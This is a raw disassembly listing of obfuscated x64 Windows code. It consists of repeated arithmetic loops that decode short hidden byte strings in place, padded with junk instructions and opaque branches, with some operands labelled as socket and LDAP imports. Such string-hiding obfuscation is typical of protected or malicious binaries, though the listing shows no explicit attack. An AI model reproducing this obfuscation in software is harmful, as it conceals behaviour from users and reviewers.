add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x69
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rcx, 0xaf01096d0f7130d5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2d
inc r9
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rdx, 0x11a4cb3b6020749b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3d
add r11b, dl
movabs rcx, 0xa80e82fec4bdddab
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x53
add bl, cl
mov byte [rbp + rdi + 0xb78], bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rcx, 0x399010a6522e3fed
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7b
inc r9
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rcx, 0x9c33d274a2dd83b3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1b
dec rdi
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rcx, 0x617b5611443c0b3f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x47
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
mov rbx, r10
movabs rdx, 0x26c2d9ade59a92cb
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x73
add r11b, dl
movabs rcx, 0xe2c6ff62235f561f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x27
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xb78], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x31751e7afb07b43c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xb78], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
jmp 0x1400786b3
movabs rcx, 0xec0a5d4a86f91a57
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x61
movzx eax, byte [rbp + rdi + 0xb78]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0x4eae1f18d7a85e1d
jmp 0x140077942
movabs rcx, 0xe07627e80a78e511
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x77
jmp 0x140077940
movabs rcx, 0x4319e9b65b2828d7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1f
jmp 0x140077930
lea rcx, [rbp + 0x15f46f4]
jmp 0x140078732
lea rcx, [rbp + 0xc7a511]
jmp 0x140078732
lea rcx, [rbp + 0xb78]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140228120]
lea rcx, [rbp + 0x4f8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0xba0], Ordinal_45
mov byte [rbp + 0xba1], Ordinal_50
mov byte [rbp + 0xba2], Ordinal_60
mov byte [rbp + 0xba3], Ordinal_50
mov byte [rbp + 0xba4], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xba5], 0x85
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xba6], xmm0
mov qword [rbp + 0xbb6], rax
mov dword [rbp + 0xbbe], eax
mov byte [rbp + 0xbc2], al
movabs r14, 0xece81e103c15c06c
movabs r15, 0x6f0a7754edc8c8dc
movabs r12, 0xee67da8faf7878f4
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140079351
movzx ebx, byte [rbp + rdi + 0xba0]
mov r11, rbx
cmp r8, rdi
ja 0x140079348
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140078833
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0xc
jmp 0x14007886c
je 0x1400792b5
inc rax
cmp r8, rax
je 0x140079246
lea rax, [r9 + 4]
cmp r8, rax
je 0x140079210
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400791c7
lea rax, [r9 + 8]
cmp r8, rax
je 0x140079179
nop dword [rax]
cmp r9, rdi
ja 0x14007933f
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140078896
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 4
add cl, bl
jmp 0x1400788db
lea rax, [r9 + 1]
cmp r8, rax
je 0x140079154
lea rax, [r9 + 3]
cmp r8, rax
je 0x140079126
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400790fe
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400790db
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400790a7
movzx ecx, r10b
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140078d19
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140078cf1
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140078cc0
lea rax, [r9 + 2]
cmp r8, rax
je 0x140078c92
lea rax, [r9 + 5]
cmp r8, rax
je 0x140078c6d
lea rax, [r9 + 9]
cmp r8, rax
je 0x140078c4a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140078c17
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400788f0
lea r8, [r9 + 3]
lea r9, [r8 + 0x200]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140079317
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400792ef
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140078a14
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140078bbc
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140078b69
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140078b3b
lea r8, [r9 + 4]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140078b02
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140078add
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140078ab5
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140078a7d
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140078a5a
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140078a33
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400788f0
lea r8, [r9 + 0x42]
lea r9, [r8 + 3]
jmp 0x1400788f0
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140078804
movabs rdx, 0x7853baa76e4646e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x20
add r10b, dl
jmp 0x140079197
movabs rcx, 0x1112ca258d984380
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
jmp 0x14007922e
movabs rdx, 0x37428e05156cc2a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400787f2
movabs rdx, 0x5d7251e49d4141d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140079070
movabs rdx, 0x83a215c42515c0f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14007926a
movabs rdx, 0xa9d1d9a3acea4020
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0xba0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400787f2
movabs rcx, 0x9494352807d7e04
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1c
mov byte [rbp + rdi + 0xba0], r10b
inc rdi
jmp 0x1400787f2
movabs rdx, 0x2f7907320851fd2c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x34
add r10b, dl
cmp r9, 0x3e8
jb 0x140078b59
movabs rdx, 0x647bfa77f0aaab08
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x70]
jmp 0x140079197
movabs rcx, 0x55a8cb1190267c54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4c
cmp r8, 0x200
jae 0x14007901c
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140078f1e
movabs rcx, 0xe259a1333ef7a298
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x28
jmp 0x140078b8b
movabs rcx, 0xcce179c2a3232a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x60
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400787f2
movabs rcx, 0x32fddb7bb206b1c8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x78
jmp 0x14007922e
movabs rdx, 0x592d9f5b39db30f0
mov ecx, gethostname
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400791e6
movabs rdx, 0x7f5d633ac1afb018
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x1400787f2
movabs rdx, 0xa58d271a49842f40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400787f2
movabs rdx, 0xcbbceaf9d158ae68
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140079197
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x140078d7a
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r8 + r9]
cmp rax, 8
je 0x14007904b
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140078e39
movabs rcx, 0x734f29de512ed9bc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
jmp 0x140078bda
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078db7
movabs rcx, 0xde14eea9db9191b8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 8
movzx eax, byte [rbp + rdi + 0xba0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400787f2
inc rax
cmp r8, rax
jne 0x140078de7
movabs rdx, 0x91b566eacbe89368
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140079070
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140078dff
movabs rdx, 0x1f261b4c346b15f0
jmp 0x140078c77
movzx r10d, cl
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140078d3c
movabs rcx, 0xf8f6576cac9696c8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x78
dec rdi
inc rdi
jmp 0x1400787f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078e65
movabs rcx, 0x4d1f65fec95a5a94
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xc
jmp 0x140079197
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078e9c
movabs rdx, 0xbfde3fb9b15c44
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x1400787f2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140078edd
movabs rdx, 0x8e3092a12233decc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400787f2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140078bda
movabs rcx, 0x1ba147028ab66154
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4c
movzx eax, byte [rbp + rdi + 0xba0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400787f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078f5b
movabs rcx, 0xbc29dd53b7232370
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
movzx eax, byte [rbp + rdi + 0xba0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400787f2
inc rax
cmp r8, rax
jne 0x140078f88
movabs rdx, 0x95fa19742f4ea448
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14007926a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078fc9
movabs rdx, 0x499a91b51fa5a5f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400787f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140078fe6
movabs rdx, 0xfd3b09f60ffca7a8
mov ecx, 0x34
jmp 0x140078c7c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140078b8b
movabs rcx, 0xd70b461688282880
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x80
dec rdi
inc rdi
jmp 0x1400787f2
movabs rdx, 0x3e4c369868d62be0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r10d, byte [rbp + rdi + 0xba0]
sub r10b, al
sub r10b, 0x20
add r10b, dl
add r10b, bl
jmp 0x1400791e9
movabs rcx, 0x181c72b8e101acb8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xba0]
lea r10d, [rbx + rcx]
sub r10b, 8
movabs rdx, 0x50490c91d176d24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xba0], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14007926d
movabs rcx, 0x175c947927505074
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x2c
movzx eax, byte [rbp + rdi + 0xba0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400787f2
movabs rcx, 0x3d8c5858af24cf9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x44
jmp 0x14007926d
movabs rdx, 0xb01ba3f746a24d14
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14007922e
movabs rdx, 0xfc7b2bb6564b4b64
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x1400787f2
movabs rdx, 0x48dab37565f449b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x140079197
movabs rcx, 0x953a3b34759d4804
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1c
movabs rcx, 0x516418882cc06b74
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x2c
add bl, cl
mov byte [rbp + rdi + 0xba0], bl
inc r9
dec rdi
inc rdi
jmp 0x1400787f2
movabs rdx, 0x7c986d30d1ac57c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x64
add r10b, dl
movabs rcx, 0x2b3454a8a4ebec4c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x14
add bl, r10b
add bl, cl
mov byte [rbp + rdi + 0xba0], bl
jmp 0x14007922e
movabs rcx, 0x2df94ab294ef44a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7c
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400787f2
mov rbx, r11
movabs rdx, 0xa08896512c6cc21c
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rdx, 0xf1ecaed9592d2d90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xba0], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xba0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400787f2
movabs rdx, 0xc6b85a30b4414144
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0xba0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400787f2
movabs rdx, 0x14979e6f374cf81c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400787f0
movabs rdx, 0x3ac7624ebf217744
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400787e0
lea rcx, [rbp + 0x15d5430]
jmp 0x140079358
lea rcx, [rbp + 0xb3149c]
jmp 0x140079358
lea rcx, [rbp + 0xba0]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140228000]
lea rcx, [rbp + 0x518]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0xbc8], 0xdc
mov byte [rbp + 0xbc9], gethostname
mov byte [rbp + 0xbca], Ordinal_200
mov byte [rbp + 0xbcb], Ordinal_200
mov byte [rbp + 0xbcc], 0xc1
mov byte [rbp + 0xbcd], Ordinal_200
mov byte [rbp + 0xbce], Ordinal_79
mov byte [rbp + 0xbcf], 0xbe
mov byte [rbp + 0xbd0], 0x47
mov byte [rbp + 0xbd1], 0x47
mov byte [rbp + 0xbd2], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbd3], xmm0
mov qword [rbp + 0xbe3], rax
movabs r14, 0x7969bfc557cb442
movabs r15, 0xf5466a001d765ffe
movabs r12, 0x255073868f39bc8a
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rcx, 0xe7fafb3cc71e51ba
cmp rdi, 0x23
jae 0x14007a0ab
movzx ebx, byte [rbp + rdi + 0xbc8]
mov r10, rbx
cmp r8, rdi
ja 0x14007a0a2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007947c
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x16
jmp 0x1400794b0
je 0x14007a01e
inc rax
cmp r8, rax
je 0x140079fb4
lea rax, [r9 + 3]
cmp r8, rax
je 0x140079f59
lea rax, [r9 + 5]
cmp r8, rax
je 0x140079f02
nop dword [rax + rax]
cmp r9, rdi
ja 0x14007a099
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400794de
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079510
lea rax, [r9 + 1]
cmp r8, rax
je 0x140079ef1
inc rax
cmp r8, rax
je 0x140079ec8
lea rax, [r9 + 5]
cmp r8, rax
je 0x140079e90
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140079b85
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140079b62
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140079b31
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140079b03
lea rax, [r9 + 8]
cmp r8, rax
je 0x140079adb
lea rax, [r9 + 1]
cmp r8, rax
je 0x140079ab8
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140079a85
lea rax, [r9 + 5]
cmp r8, rax
je 0x140079a62
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140079a3a
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140079a01
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140079520
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007a076
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007a053
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140079719
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400796fa
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400796db
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400799a0
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140079944
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400798f8
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400798c5
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140079520
lea r8, [r9 + 3]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140079891
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007986e
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007984b
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140079813
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400797eb
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400797c3
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007979a
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007976e
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007974b
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140079520
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x10]
jmp 0x140079520
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079510
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400794b0
movabs rdx, 0x555a7d0d00fd1916
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0xe7fafb3cc71e51ba
jmp 0x14007944e
movabs rcx, 0x3cb4dfe2abe5a210
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x140079f25
movabs rcx, 0x6cbee9691da8fe9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
inc r9
dec rdi
inc rdi
jmp 0x140079432
movabs rcx, 0x9cc8f2ef8f6c5b28
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
dec rdi
inc rdi
jmp 0x140079432
movabs rdx, 0xccd2fc76012fb7b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079f77
movabs rdx, 0xfcdd05fc72f31440
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140079f9c
movabs rdx, 0x2ce70f82e4b670cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140079432
movabs rcx, 0x5cf119095679cd58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140079e5d
movabs rcx, 0x8cfb228fc83d29e4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x140079fda
movabs rcx, 0xbd052c163a008670
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0xbc8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140079432
movabs rdx, 0x351e43e65668edce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xbc8], r11b
inc rdi
jmp 0x140079432
movabs rcx, 0x65284d6cc82c4a5a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
cmp r9, 9
jb 0x1400798e8
movabs rcx, 0x6e001a375614901c
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140079f25
movabs rcx, 0x953256f339efa6e6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
cmp r8, 0x42
jae 0x140079e03
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140079d20
movabs rdx, 0x4e647977c7b62d94
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x140079916
movabs rcx, 0xc53c6079abb30372
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x140079e33
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x140079c5a
movabs rcx, 0x46cddd7b72397952
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
jmp 0x140079962
movabs rdx, 0x2d87a7ea00ec398c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xbc8]
add rax, r9
